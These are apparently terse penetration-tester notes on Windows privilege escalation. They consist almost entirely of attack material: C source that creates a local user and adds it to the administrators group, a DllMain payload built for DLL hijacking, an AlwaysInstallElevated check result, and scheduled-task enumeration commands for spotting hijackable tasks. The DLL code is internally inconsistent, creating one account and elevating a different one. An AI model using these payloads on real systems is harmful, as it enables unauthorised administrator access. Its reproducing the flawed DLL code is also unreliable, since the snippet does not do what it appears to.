# Restart service
Restart-service VeyonService
# If restart not possible , reboot the system
shutdown /r /t 0
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
[+] Checking AlwaysInstallElevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user vaibhav Pass@1234 /add");
i = system ("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
schtasks /query /fo LIST /V
# CMD
schtasks /query /fo LIST /v | findstr /R /C:"^Author:" /C:"^TaskName:" /C:"^Task To Run:" /C:"^Run As User:" /C:"^Next Run Time:"
# VS Code Regex
^\s*(Author|TaskName|Task To Run|Run As User|Next Run Time):.*